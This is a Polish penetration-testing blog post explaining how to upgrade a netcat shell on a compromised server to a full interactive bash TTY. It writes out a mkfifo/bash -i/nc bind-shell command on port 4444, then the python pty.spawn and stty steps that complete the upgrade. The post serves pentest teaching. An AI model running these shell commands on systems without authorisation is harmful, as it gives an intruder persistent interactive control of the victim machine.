NFsec Logo

Od netcat do pełnowymiarowej powłoki shell

27/12/2018 w Pen Test Brak komentarzy.  (artykuł nr 669, ilość słów: 291)

Z

ałóżmy, że uruchomiliśmy już „odwróconą powłokę” na przejętym przez nas serwerze (w jakimś stopniu) przy pomocy polecenia netcat:

$ rm -f /tmp/f; mkfifo /tmp/f
$ cat /tmp/f | /bin/bash -i 2>&1 | nc -lvp 4444 > /tmp/f
Listening on [0.0.0.0] (family 0, port 4444)
Connection from X.X.X.X 45600 received!

Problem w tym, że jeśli z poziomu klienta połączymy się z tak przygotowaną maszyną to nie będziemy mieli pełnowymiarowej powłoki bash z jaką mamy do czynienia przez SSH. Żadne polecenia nie będą dopełniane za pomocą klawisza Tab oraz nie wszystkie interaktywne programy będą w stanie działać poprawnie. Na przykład:

agresor@stardust:~$ nc X.X.X.X 4444
vim
Vim: Warning: Output is not to a terminal
Vim: Warning: Input is not from a terminal

Na szczęście istnieje prosty trick, który za pomocą języka Python i pomocy kilku poleceń jest w stanie dostarczyć nam pełnowymiarową powłokę. Procedura jest następująca:

agresor@stardust:~$ nc X.X.X.X 4444
# Po połączeniu się z atakowaną maszyną wydajemy polecenia:
echo $HOME
/home/agresor
echo $SHELL
/bin/bash
python -c 'import pty; pty.spawn("/bin/bash")'
# Zawieszamy proces za pomocą kombinacji klawiszy 'Ctrl+Z'
[1]+  Stopped                 nc X.X.X.X 4444
# Z poziomu lokalnego terminala wydajemy polecenia:
agresor@stardust:~$ echo $TERM
xterm-256color
agresor@stardust:~$ stty -a | head -n1
speed 38400 baud; rows 55; columns 238; line = 0;
agresor@stardust:~$ stty raw -echo
# Po wpisaniu ostatniego polecenia nie będziemy widzieli wpisywanych znaków
# 'fg' do odwieszenia zatrzymanego zadania:
agresor@stardust:~$ fg
# Uzupełniamy zmienne z powyżej otrzymanych informacji:
    export HOME=/home/agresor
    export SHELL=/bin/bash
    export TERM=xterm-256color
    stty rows 55 columns 238

Tada! Od tego momentu możemy cieszyć się uzupełnianiem podpowiedzi dla poleceń, vim’em i wszystkim innym, co powłoka może nam zaoferować.

Więcej informacji: Upgrading simple shells to fully interactive TTYs

Kategorie K a t e g o r i e : Pen Test

Tagi T a g i : , , , , ,

Komentowanie tego wpisu jest zablokowane.